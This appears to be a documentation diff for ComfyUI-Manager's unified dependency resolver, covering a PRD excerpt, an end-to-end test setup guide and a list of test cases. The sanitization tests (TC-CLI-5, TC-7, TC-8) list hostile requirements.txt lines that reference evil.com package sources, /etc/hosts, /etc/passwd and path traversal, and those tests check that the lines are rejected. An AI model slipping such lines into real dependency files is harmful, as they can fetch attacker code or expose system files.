Node pack's requirements.txt contains `-r ../../../etc/hosts` or `-e git+https://...`
→ Sanitization filter rejects the line
→ Log rejection reason and continue processing remaining valid packages
→ Notify user of rejected item count
```
### Scenario 7: Concurrent Install Requests (unified mode)
```
User requests installation of node packs A and B nearly simultaneously from UI
→ Each request: git clone + install.py immediately, deps skipped
→ On restart: single unified resolver run handles both A and B deps together
→ No concurrency issue (single batch at startup)
```
---
## 6. Success Metrics
| Metric | Target |
|--------|--------|
| Dependency conflict reduction | 90%+ reduction compared to current |
| Install success rate | 99%+ (for compatibility-verified lists) |
| Performance | Equal to or better than existing individual installs |
| Adoption rate | 50%+ of eligible users |
---
## 7. Future Extensions
- ~~**`cm_global` integration** [DONE]: All `--uv-compile` CLI commands (`uv-compile`, `install`, `reinstall`, `update`, `fix`, `restore-snapshot`, `restore-dependencies`, `install-deps`) pass real `cm_global` values. Startup path (`prestartup_script.py`) still passes empty by design~~
- Lockfile caching: Reuse for identical node pack configurations
- Pre-install dependency conflict validation API: Check compatibility before installation
- Dependency tree visualization: Display dependency relationships to users
- `uv lock`-based cross-platform lockfile support (TOML format)
- `install_manager_requirements()` integration: Resolve manager's own dependencies through unified resolver
- `pip_install()` integration: Route UI direct installs through unified resolver
- Legacy module (`comfyui_manager/legacy/`) unified resolver support
---
## Appendix A: Existing Code Install Path Mapping
> This section is reference material to clarify the unified resolver's scope of application.
| Install Path | Location | v1 Applied | Notes |
|-------------|----------|------------|-------|
| `UnifiedManager.execute_install_script()` | `glob/manager_core.py` (method) | ✅ Yes | Skips per-node pip in unified mode (deps deferred to restart) |
| Standalone `execute_install_script()` | `glob/manager_core.py` (function) | ✅ Yes | Skips per-node pip in unified mode (deps deferred to restart) |
| `execute_lazy_install_script()` | `prestartup_script.py` | ✅ Yes | Skips per-node pip in unified mode (already batch-resolved) |
| Startup batch resolver | `prestartup_script.py` | ✅ Yes | **New**: Runs unified resolver once at startup for all node packs |
| `install_manager_requirements()` | `glob/manager_core.py` | ❌ No | Manager's own deps |
| `pip_install()` | `glob/manager_core.py` | ❌ No | UI direct install |
| Legacy `execute_install_script()` (2 locations) | `legacy/manager_core.py` | ❌ No | Legacy paths |
| `cm_cli uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Standalone CLI batch resolution (with `cm_global` values) |
| `cm_cli install --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped, batch resolution after all installs |
| `cm_cli reinstall --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped, batch resolution after all reinstalls; mutually exclusive with `--no-deps` |
| `cm_cli update --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped during updates, batch resolution after |
| `cm_cli fix --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped during dep fix, batch resolution after |
| `cm_cli restore-snapshot --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped during restore, batch resolution after |
| `cm_cli restore-dependencies --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped, batch resolution after all node deps restored |
| `cm_cli install-deps --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped, batch resolution after deps-spec install |
+194
View File
@@ -0,0 +1,194 @@
# Test Environment Setup
Procedures for setting up a ComfyUI environment with ComfyUI-Manager installed for functional testing.
## Automated Setup (Recommended)
Three shell scripts in `tests/e2e/scripts/` automate the entire lifecycle:
```bash
# 1. Setup: clone ComfyUI, create venv, install deps, symlink Manager
E2E_ROOT=/tmp/e2e_test MANAGER_ROOT=/path/to/comfyui-manager-draft4 \
bash tests/e2e/scripts/setup_e2e_env.sh
# 2. Start: launches ComfyUI in background, blocks until ready
E2E_ROOT=/tmp/e2e_test bash tests/e2e/scripts/start_comfyui.sh
# 3. Stop: graceful SIGTERM → SIGKILL shutdown
E2E_ROOT=/tmp/e2e_test bash tests/e2e/scripts/stop_comfyui.sh
# 4. Cleanup
rm -rf /tmp/e2e_test
```
### Script Details
| Script | Purpose | Input | Output |
|--------|---------|-------|--------|
| `setup_e2e_env.sh` | Full environment setup (8 steps) | `E2E_ROOT`, `MANAGER_ROOT`, `COMFYUI_BRANCH` (default: master), `PYTHON` (default: python3) | `E2E_ROOT=<path>` on last line |
| `start_comfyui.sh` | Foreground-blocking launcher | `E2E_ROOT`, `PORT` (default: 8199), `TIMEOUT` (default: 120s) | `COMFYUI_PID=<pid> PORT=<port>` |
| `stop_comfyui.sh` | Graceful shutdown | `E2E_ROOT`, `PORT` (default: 8199) | — |
**Idempotent**: `setup_e2e_env.sh` checks for a `.e2e_setup_complete` marker file and skips setup if the environment already exists.
**Blocking mechanism**: `start_comfyui.sh` uses `tail -n +1 -f | grep -q -m1 'To see the GUI'` to block until ComfyUI is ready. No polling loop needed.
---
## Prerequisites
- Python 3.9+
- Git
- `uv` (install via `pip install uv` or [standalone](https://docs.astral.sh/uv/getting-started/installation/))
## Manual Setup (Reference)
For understanding or debugging, the manual steps are documented below. The automated scripts execute these same steps.
### 1. ComfyUI Clone
```bash
COMFY_ROOT=$(mktemp -d)/ComfyUI
git clone https://github.com/comfyanonymous/ComfyUI.git "$COMFY_ROOT"
cd "$COMFY_ROOT"
```
### 2. Virtual Environment
```bash
cd "$COMFY_ROOT"
uv venv .venv
source .venv/bin/activate # Linux/macOS
# .venv\Scripts\activate # Windows
```
### 3. ComfyUI Dependencies
```bash
# GPU (CUDA)
uv pip install -r requirements.txt --extra-index-url https://download.pytorch.org/whl/cu121
# CPU only (lightweight, for functional testing)
uv pip install -r requirements.txt --extra-index-url https://download.pytorch.org/whl/cpu
```
### 4. ComfyUI-Manager Install (Development)
```bash
# MANAGER_ROOT = comfyui-manager-draft4 repository root
MANAGER_ROOT=/path/to/comfyui-manager-draft4
# Editable install from current source
uv pip install -e "$MANAGER_ROOT"
```
> **Note**: Editable mode (`-e`) reflects code changes without reinstalling.
> For production-like testing, use `uv pip install "$MANAGER_ROOT"` (non-editable).
### 5. Symlink Manager into custom_nodes
```bash
ln -s "$MANAGER_ROOT" "$COMFY_ROOT/custom_nodes/ComfyUI-Manager"
```
### 6. Write config.ini
```bash
mkdir -p "$COMFY_ROOT/user/__manager"
cat > "$COMFY_ROOT/user/__manager/config.ini" << 'EOF'
[default]
use_uv = true
use_unified_resolver = true
EOF
```
> **IMPORTANT**: The config path is `$COMFY_ROOT/user/__manager/config.ini`, resolved by `folder_paths.get_system_user_directory("manager")`. It is NOT inside the symlinked Manager directory.
### 7. HOME Isolation
```bash
export HOME=/tmp/e2e_home
mkdir -p "$HOME/.config" "$HOME/.local/share"
```
### 8. ComfyUI Launch
```bash
cd "$COMFY_ROOT"
PYTHONUNBUFFERED=1 python main.py --enable-manager --cpu --port 8199
```
| Flag | Purpose |
|------|---------|
| `--enable-manager` | Enable ComfyUI-Manager (disabled by default) |
| `--cpu` | Run without GPU (for functional testing) |
| `--port 8199` | Use non-default port to avoid conflicts |
| `--enable-manager-legacy-ui` | Enable legacy UI (optional) |
| `--listen` | Allow remote connections (optional) |
### Key Directories
| Directory | Path | Description |
|-----------|------|-------------|
| ComfyUI root | `$COMFY_ROOT/` | ComfyUI installation root |
| Manager data | `$COMFY_ROOT/user/__manager/` | Manager config, startup scripts, snapshots |
| Config file | `$COMFY_ROOT/user/__manager/config.ini` | Manager settings (`use_uv`, `use_unified_resolver`, etc.) |
| custom_nodes | `$COMFY_ROOT/custom_nodes/` | Installed node packs |
> The Manager data path is resolved via `folder_paths.get_system_user_directory("manager")`.
> Printed at startup: `** ComfyUI-Manager config path: <path>/config.ini`
### Startup Sequence
When Manager loads successfully, the following log lines appear:
```
[PRE] ComfyUI-Manager # prestartup_script.py executed
[START] ComfyUI-Manager # manager_server.py loaded
```
The `Blocked by policy` message for Manager in custom_nodes is **expected**`should_be_disabled()` in `comfyui_manager/__init__.py` prevents legacy double-loading when Manager is already pip-installed.
---
## Caveats & Known Issues
### PYTHONPATH for `comfy` imports
ComfyUI's `comfy` package is a **local package** inside the ComfyUI directory — it is NOT pip-installed. Any code that imports from `comfy` (including `comfyui_manager.__init__`) requires `PYTHONPATH` to include the ComfyUI directory:
```bash
PYTHONPATH="$COMFY_ROOT" python -c "import comfy"
PYTHONPATH="$COMFY_ROOT" python -c "import comfyui_manager"
```
The automated scripts handle this via `PYTHONPATH` in verification checks and the ComfyUI process inherits it implicitly by running from the ComfyUI directory.
### config.ini path
The config file must be at `$COMFY_ROOT/user/__manager/config.ini`, **NOT** inside the Manager symlink directory. This is resolved by `folder_paths.get_system_user_directory("manager")` at `prestartup_script.py:65-73`.
### Manager v4 endpoint prefix
All Manager endpoints use the `/v2/` prefix (e.g., `/v2/manager/queue/status`, `/v2/snapshot/get_current`). Paths without the prefix will return 404.
### `Blocked by policy` is expected
When Manager detects that it's loaded as a custom_node but is already pip-installed, it prints `Blocked by policy` and skips legacy loading. This is intentional behavior in `comfyui_manager/__init__.py:39-51`.
### Bash `((var++))` trap
Under `set -e`, `((0++))` evaluates the pre-increment value (0), and `(( 0 ))` returns exit code 1, killing the script. Use `var=$((var + 1))` instead.
### `git+https://` URLs in requirements.txt
Some node packs (e.g., Impact Pack's SAM2 dependency) use `git+https://github.com/...` URLs. The unified resolver correctly rejects these with "rejected path separator" — they must be installed separately.
---
## Cleanup
```bash
deactivate
rm -rf "$COMFY_ROOT"
```
+788
View File
@@ -0,0 +1,788 @@
# Test Cases: Unified Dependency Resolver
See [TEST-environment-setup.md](TEST-environment-setup.md) for environment setup.
## Enabling the Resolver
Add the following to `config.ini` (in the Manager data directory):
```ini
[default]
use_unified_resolver = true
```
> Config path: `$COMFY_ROOT/user/__manager/config.ini`
> Also printed at startup: `** ComfyUI-Manager config path: <path>/config.ini`
**Log visibility note**: `[UnifiedDepResolver]` messages are emitted via Python's `logging` module (INFO and WARNING levels), not `print()`. Ensure the logging level is set to INFO or lower. ComfyUI defaults typically show these, but if messages are missing, check that the root logger or the `ComfyUI-Manager` logger is not set above INFO.
## API Reference (for Runtime Tests)
Node pack installation at runtime uses the task queue API:
```
POST http://localhost:8199/v2/manager/queue/task
Content-Type: application/json
```
> **Port**: E2E tests use port 8199 to avoid conflicts with running ComfyUI instances. Replace with your actual port if different.
**Payload** (`QueueTaskItem`):
| Field | Type | Description |
|-------|------|-------------|
| `ui_id` | string | Unique task identifier (any string) |
| `client_id` | string | Client identifier (any string) |
| `kind` | `OperationType` enum | `"install"`, `"uninstall"`, `"update"`, `"update-comfyui"`, `"fix"`, `"disable"`, `"enable"`, `"install-model"` |
| `params` | object | Operation-specific parameters (see below) |
**Install params** (`InstallPackParams`):
| Field | Type | Description |
|-------|------|-------------|
| `id` | string | CNR node pack ID (e.g., `"comfyui-impact-pack"`) or `"author/repo"` |
| `version` | string | Required by model. Set to same value as `selected_version`. |
| `selected_version` | string | **Controls install target**: `"latest"`, `"nightly"`, or specific semver |
| `mode` | string | `"remote"`, `"local"`, or `"cache"` |
| `channel` | string | `"default"`, `"recent"`, `"legacy"`, etc. |
> **Note**: `cm_cli` supports unified resolver via `cm_cli uv-compile` (standalone) and
> `cm_cli install --uv-compile` (install-time batch resolution). Without `--uv-compile`,
> installs use per-node pip via `legacy/manager_core.py`.
---
## Out of Scope (Deferred)
The following are intentionally **not tested** in this version:
- **cm_global integration (startup path only)**: At startup (`prestartup_script.py`), `pip_blacklist`, `pip_overrides`, `pip_downgrade_blacklist` are passed as empty defaults to the resolver. Integration with cm_global at startup is deferred to a future commit. Do not file defects for blacklist/override/downgrade behavior in startup unified mode. Note: `cm_cli uv-compile` and `cm_cli install --uv-compile` already pass real `cm_global` values (see PRD Future Extensions).
- **cm_cli per-node install (without --uv-compile)**: `cm_cli install` without `--uv-compile` imports from `legacy/manager_core.py` and uses per-node pip install. This is by design — use `cm_cli install --uv-compile` or `cm_cli uv-compile` for batch resolution.
- **Standalone `execute_install_script()`** (`glob/manager_core.py` ~line 1881): Has a unified resolver guard (`manager_util.use_unified_resolver`), identical to the class method guard. Reachable from the glob API via `update-comfyui` tasks (`update_path()` / `update_to_stable_comfyui()`), git-based node pack updates (`git_repo_update_check_with()` / `fetch_or_pull_git_repo()`), and gitclone operations. Also called from CLI and legacy server paths. The guard behaves identically to the class method at all call sites; testing it separately adds no coverage beyond TC-14 Path 1.
## CLI E2E Tests (`cm_cli uv-compile`)
These tests do **not** require ComfyUI server. Only a venv with `COMFYUI_PATH` set and
the E2E environment from `setup_e2e_env.sh` are needed.
**Common setup**:
```bash
source tests/e2e/scripts/setup_e2e_env.sh # → E2E_ROOT=...
export COMFYUI_PATH="$E2E_ROOT/comfyui"
VENV_PY="$E2E_ROOT/venv/bin/python"
```
---
### TC-CLI-1: Normal Batch Resolution [P0]
**Steps**:
1. Create a test node pack with a simple dependency:
```bash
mkdir -p "$COMFYUI_PATH/custom_nodes/test_cli_pack"
echo "chardet>=5.0" > "$COMFYUI_PATH/custom_nodes/test_cli_pack/requirements.txt"
```
2. Run:
```bash
$VENV_PY -m cm_cli uv-compile
```
**Verify**:
- Exit code: 0
- Output contains: `Resolved N deps from M source(s)`
- `chardet` is importable: `$VENV_PY -c "import chardet"`
**Cleanup**: `rm -rf "$COMFYUI_PATH/custom_nodes/test_cli_pack"`
---
### TC-CLI-2: No Custom Node Packs [P1]
**Steps**:
1. Ensure `custom_nodes/` contains no node packs (only symlinks like `ComfyUI-Manager`
or empty dirs may remain)
2. Run:
```bash
$VENV_PY -m cm_cli uv-compile
```
**Verify**:
- Exit code: 0
- Output contains: `No custom node packs found` OR `Resolution complete (no deps needed)`
---
### TC-CLI-3: uv Unavailable [P0]
**Steps**:
1. Create a temporary venv **without** uv:
```bash
python3 -m venv /tmp/no_uv_venv
/tmp/no_uv_venv/bin/pip install comfyui-manager # or install from local
```
2. Ensure no standalone `uv` in PATH:
```bash
PATH="/tmp/no_uv_venv/bin" COMFYUI_PATH="$COMFYUI_PATH" \
/tmp/no_uv_venv/bin/python -m cm_cli uv-compile
```
**Verify**:
- Exit code: 1
- Output contains: `uv is not available`
**Cleanup**: `rm -rf /tmp/no_uv_venv`
---
### TC-CLI-4: Conflicting Dependencies [P0]
**Steps**:
1. Create two node packs with conflicting pinned versions:
```bash
mkdir -p "$COMFYUI_PATH/custom_nodes/conflict_a"
echo "numpy==1.24.0" > "$COMFYUI_PATH/custom_nodes/conflict_a/requirements.txt"
mkdir -p "$COMFYUI_PATH/custom_nodes/conflict_b"
echo "numpy==1.26.0" > "$COMFYUI_PATH/custom_nodes/conflict_b/requirements.txt"
```
2. Run:
```bash
$VENV_PY -m cm_cli uv-compile
```
**Verify**:
- Exit code: 1
- Output contains: `Resolution failed`
**Cleanup**: `rm -rf "$COMFYUI_PATH/custom_nodes/conflict_a" "$COMFYUI_PATH/custom_nodes/conflict_b"`
---
### TC-CLI-5: Dangerous Pattern Skip [P0]
**Steps**:
1. Create a node pack mixing valid and dangerous lines:
```bash
mkdir -p "$COMFYUI_PATH/custom_nodes/test_dangerous"
cat > "$COMFYUI_PATH/custom_nodes/test_dangerous/requirements.txt" << 'EOF'
chardet>=5.0
-r ../../../etc/hosts
--find-links http://evil.com/pkgs
requests>=2.28
EOF
```
2. Run:
```bash
$VENV_PY -m cm_cli uv-compile
```
**Verify**:
- Exit code: 0
- Output contains: `Resolved 2 deps` (chardet + requests, dangerous lines skipped)
- `chardet` and `requests` are importable
- Log contains: `rejected dangerous line` for the `-r` and `--find-links` lines
**Cleanup**: `rm -rf "$COMFYUI_PATH/custom_nodes/test_dangerous"`
---
### TC-CLI-6: install --uv-compile Single Pack [P0]
**Steps**:
1. In clean E2E environment, install a single node pack:
```bash
$VENV_PY -m cm_cli install comfyui-impact-pack --uv-compile --mode remote
```
**Verify**:
- Exit code: 0
- Per-node pip install does NOT run (no `Install: pip packages` in output)
- `install.py` still executes
- Output contains: `Resolved N deps from M source(s)`
- Impact Pack dependencies are importable: `cv2`, `skimage`, `dill`, `scipy`, `matplotlib`
---
### TC-CLI-7: install --uv-compile Multiple Packs [P0]
**Steps**:
1. After TC-CLI-6 (or with impact-pack already installed), install two more packs at once:
```bash
$VENV_PY -m cm_cli install comfyui-impact-subpack comfyui-inspire-pack --uv-compile --mode remote
```
**Verify**:
- Exit code: 0
- Both packs installed: `[INSTALLED] comfyui-impact-subpack`, `[INSTALLED] comfyui-inspire-pack`
- Batch resolution runs once (not twice) after all installs complete
- Resolves deps for **all** installed packs (impact + subpack + inspire + manager)
- New dependencies importable: `cachetools`, `webcolors`, `piexif`
- Previously installed deps (from step 1) remain intact
---
## Test Fixture Setup
Each TC that requires node packs should use isolated, deterministic fixtures:
```bash
# Create test node pack
mkdir -p "$COMFY_ROOT/custom_nodes/test_pack_a"
echo "chardet>=5.0" > "$COMFY_ROOT/custom_nodes/test_pack_a/requirements.txt"
# Cleanup after test
rm -rf "$COMFY_ROOT/custom_nodes/test_pack_a"
```
Ensure no other node packs in `custom_nodes/` interfere with expected counts. Use a clean `custom_nodes/` directory or account for existing packs in assertions.
---
## TC-1: Normal Batch Resolution [P0]
**Precondition**: `use_unified_resolver = true`, uv installed, at least one node pack with `requirements.txt`
**Steps**:
1. Create `$COMFY_ROOT/custom_nodes/test_pack_a/requirements.txt` with content: `chardet>=5.0`
2. Start ComfyUI
**Expected log**:
```
[UnifiedDepResolver] Collected N deps from M sources (skipped 0)
[UnifiedDepResolver] running: ... uv pip compile ...
[UnifiedDepResolver] running: ... uv pip install ...
[UnifiedDepResolver] startup batch resolution succeeded
```
**Verify**: Neither `Install: pip packages for` nor `Install: pip packages` appears in output (both per-node pip variants must be absent)
---
## TC-2: Disabled State (Default) [P1]
**Precondition**: `use_unified_resolver = false` or key absent from config.ini
**Steps**: Start ComfyUI
**Verify**: No `[UnifiedDepResolver]` log output at all
---
## TC-3: Fallback When uv Unavailable [P0]
**Precondition**: `use_unified_resolver = true`, uv completely unavailable
**Steps**:
1. Create a venv **without** uv installed (`uv` package not in venv)
2. Ensure no standalone `uv` binary exists in `$PATH` (rename or use isolated `$PATH`)
3. Start ComfyUI
```bash
# Reliable uv removal: both module and binary must be absent
uv pip uninstall uv
# Verify neither path works
python -m uv --version 2>&1 | grep -q "No module" && echo "module uv: absent"
which uv 2>&1 | grep -q "not found" && echo "binary uv: absent"
```
**Expected log**:
```
[UnifiedDepResolver] uv not available at startup, falling back to per-node pip
```
**Verify**:
- `manager_util.use_unified_resolver` is reset to `False`
- Subsequent node pack installations use per-node pip install normally
---
## TC-4: Fallback on Compile Failure [P0]
**Precondition**: `use_unified_resolver = true`, conflicting dependencies
**Steps**:
1. Node pack A `requirements.txt`: `numpy==1.24.0`
2. Node pack B `requirements.txt`: `numpy==1.26.0`
3. Start ComfyUI
**Expected log**:
```
[UnifiedDepResolver] startup batch failed: compile failed: ..., falling back to per-node pip
```
**Verify**:
- `manager_util.use_unified_resolver` is reset to `False`
- Falls back to per-node pip install normally
---
## TC-5: Fallback on Install Failure [P0]
**Precondition**: `use_unified_resolver = true`, compile succeeds but install fails
**Steps**:
1. Create node pack with `requirements.txt`: `numpy<2`
2. Force install failure by making the venv's `site-packages` read-only:
```bash
chmod -R a-w "$(python -c 'import site; print(site.getsitepackages()[0])')"
```
3. Start ComfyUI
4. After test, restore permissions:
```bash
chmod -R u+w "$(python -c 'import site; print(site.getsitepackages()[0])')"
```
**Expected log**:
```
[UnifiedDepResolver] startup batch failed: ..., falling back to per-node pip
```
> The `...` contains raw stderr from `uv pip install` (e.g., permission denied errors).
**Verify**:
- `manager_util.use_unified_resolver` is reset to `False`
- Falls back to per-node pip install
---
## TC-6: install.py Execution Preserved [P0]
**Precondition**: `use_unified_resolver = true`, ComfyUI running with batch resolution succeeded
**Steps**:
1. While ComfyUI is running, install a node pack that has both `install.py` and `requirements.txt` via API:
```bash
curl -X POST http://localhost:8199/v2/manager/queue/task \
-H "Content-Type: application/json" \
-d '{
"ui_id": "test-installpy",
"client_id": "test-client",
"kind": "install",
"params": {
"id": "<node-pack-id-with-install-py>",
"version": "latest",
"selected_version": "latest",
"mode": "remote",
"channel": "default"
}
}'
```
> Choose a CNR node pack known to have both `install.py` and `requirements.txt`.
> Alternatively, use the Manager UI to install the same pack.
2. Check logs after installation
**Verify**:
- `Install: install script` is printed (install.py runs immediately during install)
- `Install: pip packages` does NOT appear (deps deferred, not installed per-node)
- Log: `[UnifiedDepResolver] deps deferred to startup batch resolution for <path>`
- After **restart**, the new pack's deps are included in batch resolution (`Collected N deps from M sources`)
---
## TC-7: Dangerous Pattern Rejection [P0]
**Precondition**: `use_unified_resolver = true`
**Steps**: Include any of the following in a node pack's `requirements.txt`:
```
-r ../../../etc/hosts
--requirement secret.txt
-e git+https://evil.com/repo
--editable ./local
-c constraint.txt
--constraint external.txt
--find-links http://evil.com/pkgs
-f http://evil.com/pkgs
evil_pkg @ file:///etc/passwd
```
**Expected log**:
```
[UnifiedDepResolver] rejected dangerous line: '...' from <path>
```
**Verify**: Dangerous lines are skipped; remaining valid deps are installed normally
---
## TC-8: Path Separator Rejection [P0]
**Precondition**: `use_unified_resolver = true`
**Steps**: Node pack `requirements.txt`:
```
../evil/pkg
bad\pkg
./local_package
```
**Expected log**:
```
[UnifiedDepResolver] rejected path separator: '...' from <path>
```
**Verify**: Lines with `/` or `\` in the package name portion are rejected; valid deps on other lines are processed normally
---
## TC-9: --index-url / --extra-index-url Separation [P0]
**Precondition**: `use_unified_resolver = true`
Test all four inline forms:
| # | `requirements.txt` content | Expected package | Expected URL |
|---|---------------------------|-----------------|--------------|
| a | `torch --index-url https://example.com/whl` | `torch` | `https://example.com/whl` |
| b | `torch --extra-index-url https://example.com/whl` | `torch` | `https://example.com/whl` |
| c | `--index-url https://example.com/whl` (standalone) | *(none)* | `https://example.com/whl` |
| d | `--extra-index-url https://example.com/whl` (standalone) | *(none)* | `https://example.com/whl` |
**Steps**: Create a node pack with each variant (one at a time or combined with a valid package on a separate line)
**Verify**:
- Package spec is correctly extracted (or empty for standalone lines)
- URL is passed as `--extra-index-url` to `uv pip compile`
- Duplicate URLs across multiple node packs are deduplicated
- Log: `[UnifiedDepResolver] extra-index-url: <url>`
---
## TC-10: Credential Redaction [P0]
**Precondition**: `use_unified_resolver = true`
**Steps**: Node pack `requirements.txt`:
```
private-pkg --index-url https://user:token123@pypi.private.com/simple
```
**Verify**:
- `user:token123` does NOT appear in logs
- Masked as `****@` in log output
---
## TC-11: Disabled Node Packs Excluded [P1]
**Precondition**: `use_unified_resolver = true`
**Steps**: Test both disabled styles:
1. New style: `custom_nodes/.disabled/test_pack/requirements.txt` with content: `numpy`
2. Old style: `custom_nodes/test_pack.disabled/requirements.txt` with content: `requests`
3. Start ComfyUI
**Verify**: Neither disabled node pack's deps are collected (not included in `Collected N`)
---
## TC-12: No Dependencies [P2]
**Precondition**: `use_unified_resolver = true`, only node packs without `requirements.txt`
**Steps**: Start ComfyUI
**Expected log**:
```
[UnifiedDepResolver] No dependencies to resolve
```
**Verify**: Compile/install steps are skipped; startup completes normally
---
## TC-13: Runtime Node Pack Install (Defer Behavior) [P1]
**Precondition**: `use_unified_resolver = true`, batch resolution succeeded at startup
**Steps**:
1. Start ComfyUI and confirm batch resolution succeeds
2. While ComfyUI is running, install a new node pack via API:
```bash
curl -X POST http://localhost:8199/v2/manager/queue/task \
-H "Content-Type: application/json" \
-d '{
"ui_id": "test-defer-1",
"client_id": "test-client",
"kind": "install",
"params": {
"id": "<node-pack-id>",
"version": "latest",
"selected_version": "latest",
"mode": "remote",
"channel": "default"
}
}'
```
> Replace `<node-pack-id>` with a real CNR node pack ID (e.g., from the Manager UI).
> Alternatively, use the Manager UI to install a node pack.
3. Check logs after installation
**Verify**:
- Log: `[UnifiedDepResolver] deps deferred to startup batch resolution for <path>`
- `Install: pip packages` does NOT appear
- After ComfyUI **restart**, the new node pack's deps are included in batch resolution
---
## TC-14: Both Unified Resolver Code Paths [P0]
Verify both code locations that guard per-node pip install behave correctly in unified mode:
| Path | Guard Variable | Trigger | Location |
|------|---------------|---------|----------|
| Runtime install | `manager_util.use_unified_resolver` | API install while ComfyUI is running | `glob/manager_core.py` class method (~line 846) |
| Startup lazy install | `_unified_resolver_succeeded` | Queued install processed at restart | `prestartup_script.py` `execute_lazy_install_script()` (~line 594) |
> **Note**: The standalone `execute_install_script()` in `glob/manager_core.py` (~line 1881) also has a unified resolver guard but is reachable via `update-comfyui`, git-based node pack updates, gitclone operations, CLI, and legacy server paths. The guard is identical to the class method; see [Out of Scope](#out-of-scope-deferred).
**Steps**:
**Path 1 — Runtime API install (class method)**:
```bash
# While ComfyUI is running:
curl -X POST http://localhost:8199/v2/manager/queue/task \
-H "Content-Type: application/json" \
-d '{
"ui_id": "test-path1",
"client_id": "test-client",
"kind": "install",
"params": {
"id": "<node-pack-id>",
"version": "latest",
"selected_version": "latest",
"mode": "remote",
"channel": "default"
}
}'
```
> Choose a CNR node pack that has both `install.py` and `requirements.txt`.
**Path 2 — Startup lazy install (`execute_lazy_install_script`)**:
1. Create a test node pack with both `install.py` and `requirements.txt`:
```bash
mkdir -p "$COMFY_ROOT/custom_nodes/test_pack_lazy"
echo 'print("lazy install.py executed")' > "$COMFY_ROOT/custom_nodes/test_pack_lazy/install.py"
echo "chardet" > "$COMFY_ROOT/custom_nodes/test_pack_lazy/requirements.txt"
```
2. Manually inject a `#LAZY-INSTALL-SCRIPT` entry into `install-scripts.txt`:
```bash
SCRIPTS_DIR="$COMFY_ROOT/user/__manager/startup-scripts"
mkdir -p "$SCRIPTS_DIR"
PYTHON_PATH=$(which python)
echo "['$COMFY_ROOT/custom_nodes/test_pack_lazy', '#LAZY-INSTALL-SCRIPT', '$PYTHON_PATH']" \
>> "$SCRIPTS_DIR/install-scripts.txt"
```
3. Start ComfyUI (with `use_unified_resolver = true`)
**Verify**:
- Path 1: `[UnifiedDepResolver] deps deferred to startup batch resolution for <path>` appears, `install.py` runs immediately, `Install: pip packages` does NOT appear
- Path 2: `lazy install.py executed` is printed (install.py runs at startup), `Install: pip packages for` does NOT appear for the pack (skipped because `_unified_resolver_succeeded` is True after batch resolution)
---
## TC-15: Behavior After Fallback in Same Process [P1]
**Precondition**: Resolver failed at startup (TC-4 or TC-5 scenario)
**Steps**:
1. Set up conflicting deps (as in TC-4) and start ComfyUI (resolver fails, flag reset to `False`)
2. While still running, install a new node pack via API:
```bash
curl -X POST http://localhost:8199/v2/manager/queue/task \
-H "Content-Type: application/json" \
-d '{
"ui_id": "test-postfallback",
"client_id": "test-client",
"kind": "install",
"params": {
"id": "<node-pack-id>",
"version": "latest",
"selected_version": "latest",
"mode": "remote",
"channel": "default"
}
}'
```
**Verify**:
- New node pack uses per-node pip install (not deferred)
- `Install: pip packages` appears normally
- On next restart with conflicts resolved, unified resolver retries if config still `true`
---
## TC-16: Generic Exception Fallback [P1]
**Precondition**: `use_unified_resolver = true`, an exception escapes before `resolve_and_install()`
This covers the `except Exception` handler at `prestartup_script.py` (~line 793), distinct from `UvNotAvailableError` (TC-3) and `ResolveResult` failure (TC-4/TC-5). The generic handler catches errors in the import, `collect_node_pack_paths()`, `collect_base_requirements()`, or `UnifiedDepResolver.__init__()` — all of which run before the resolver's own internal error handling.
**Steps**:
1. Make the `custom_nodes` directory unreadable so `collect_node_pack_paths()` raises a `PermissionError`:
```bash
chmod a-r "$COMFY_ROOT/custom_nodes"
```
2. Start ComfyUI
3. After test, restore permissions:
```bash
chmod u+r "$COMFY_ROOT/custom_nodes"
```
**Expected log**:
```
[UnifiedDepResolver] startup error: ..., falling back to per-node pip
```
**Verify**:
- `manager_util.use_unified_resolver` is reset to `False`
- Falls back to per-node pip install normally
- Log pattern is `startup error:` (NOT `startup batch failed:` nor `uv not available`)
---
## TC-17: Restart Dependency Detection [P0]
**Precondition**: `use_unified_resolver = true`, automated E2E scripts available
This test verifies that the resolver correctly detects and installs dependencies for node packs added between restarts, incrementally building the dependency set.
**Steps**:
1. Boot ComfyUI with no custom node packs (Boot 1 — baseline)
2. Verify baseline deps only (Manager's own deps)
3. Stop ComfyUI
4. Clone `ComfyUI-Impact-Pack` into `custom_nodes/`
5. Restart ComfyUI (Boot 2)
6. Verify Impact Pack deps are installed (`cv2`, `skimage`, `dill`, `scipy`, `matplotlib`)
7. Stop ComfyUI
8. Clone `ComfyUI-Inspire-Pack` into `custom_nodes/`
9. Restart ComfyUI (Boot 3)
10. Verify Inspire Pack deps are installed (`cachetools`, `webcolors`)
**Expected log (each boot)**:
```
[UnifiedDepResolver] Collected N deps from M sources (skipped S)
[UnifiedDepResolver] running: ... uv pip compile ...
[UnifiedDepResolver] running: ... uv pip install ...
[UnifiedDepResolver] startup batch resolution succeeded
```
**Verify**:
- Boot 1: ~10 deps from ~10 sources; `cv2`, `dill`, `cachetools` are NOT installed
- Boot 2: ~19 deps from ~18 sources; `cv2`, `skimage`, `dill`, `scipy`, `matplotlib` all importable
- Boot 3: ~24 deps from ~21 sources; `cachetools`, `webcolors` also importable
- Both packs show as loaded in logs
**Automation**: Use `tests/e2e/scripts/` (setup → start → stop) with node pack cloning between boots.
---
## TC-18: Real Node Pack Integration [P0]
**Precondition**: `use_unified_resolver = true`, network access to GitHub + PyPI
Full pipeline test with real-world node packs (`ComfyUI-Impact-Pack` + `ComfyUI-Inspire-Pack`) to verify the resolver handles production requirements.txt files correctly.
**Steps**:
1. Set up E2E environment
2. Clone both Impact Pack and Inspire Pack into `custom_nodes/`
3. Direct-mode: instantiate `UnifiedDepResolver`, call `collect_requirements()` and `resolve_and_install()`
4. Boot-mode: start ComfyUI and verify via logs
**Expected behavior (direct mode)**:
```
--- Discovered node packs (3) --- # Manager, Impact, Inspire
ComfyUI-Impact-Pack
ComfyUI-Inspire-Pack
ComfyUI-Manager
